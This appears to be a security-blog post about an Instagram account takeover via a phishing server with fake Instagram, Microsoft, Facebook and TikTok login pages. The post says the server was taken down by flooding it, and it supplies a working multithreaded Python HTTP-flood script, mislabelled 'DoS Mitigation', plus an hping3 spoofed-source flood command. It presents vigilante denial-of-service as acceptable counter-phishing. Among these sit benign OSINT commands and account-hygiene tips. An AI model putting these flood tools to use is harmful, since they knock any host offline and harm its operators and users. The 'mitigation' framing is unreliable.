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Instagram accounts are increasingly targeted by Bitcoin scammers who post fake investment stories without the owner’s knowledge. One victim clicked a phishing link disguised as a “voting contest” from a trusted friend, leading to a complete account takeover.
Investigation & OSINT Techniques
The attacker used a phishing server with multiple endpoints:
– `/1` – Fake Instagram login
– `/2` – Microsoft phishing page
– `/3` – Fake voting page
– `/5` – Facebook mobile login
– `/8` – Another fake voting page
– `/12` – TikTok fake login
The server was vulnerable to SQL Boolean-based injection and stored credentials via `INSERT INTO` queries.
How the Phishing Server Was Taken Down
1. No SSL: The server lacked encryption.
- Shared Hosting: The attacker relied on a cheap hosting plan.
- HTTP Flood Attack: A Python script sent millions of requests, overloading the server until it was suspended.
You Should Know:
Python Script for HTTP Flood (DoS Mitigation)
import requests import threading target_url = "http://phishing-site.com" def flood(): while True: try: requests.get(target_url, timeout=5) except: pass threads = [] for _ in range(100): Adjust thread count based on server capacity t = threading.Thread(target=flood) t.start() threads.append(t) for t in threads: t.join()
Key Linux Commands for OSINT & Mitigation
- Track Phishing Domains:
whois phishing-site.com dig A phishing-site.com
- Check SSL/TLS:
openssl s_client -connect phishing-site.com:443
- Network Flooding (For Legal Pen Testing):
hping3 --flood --rand-source -p 80 phishing-site.com
Windows Command for Detecting Malicious Connections
netstat -ano | findstr "ESTABLISHED"
What Undercode Say
Phishing attacks are evolving, but basic security hygiene can prevent most breaches:
– Verify Links: Use `VirusTotal` or urlscan.io.
– Enable 2FA: Always use multi-factor authentication.
– Monitor Active Sessions: On Instagram, check Settings > Security > Login Activity.
– Use Strong Passwords: Generate with openssl rand -base64 12.
For ethical hackers, counter-phishing tactics like HTTP flooding can disrupt scams, but legal boundaries must be respected.
Expected Output:
- Phishing server suspended via resource exhaustion.
- Full technical breakdown: Karthikeyan’s Blog.
Prediction
Bitcoin scams will increasingly use AI-generated deepfake videos to impersonate trusted contacts, making link verification critical.
References:
Reported By: Karthikeyan – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
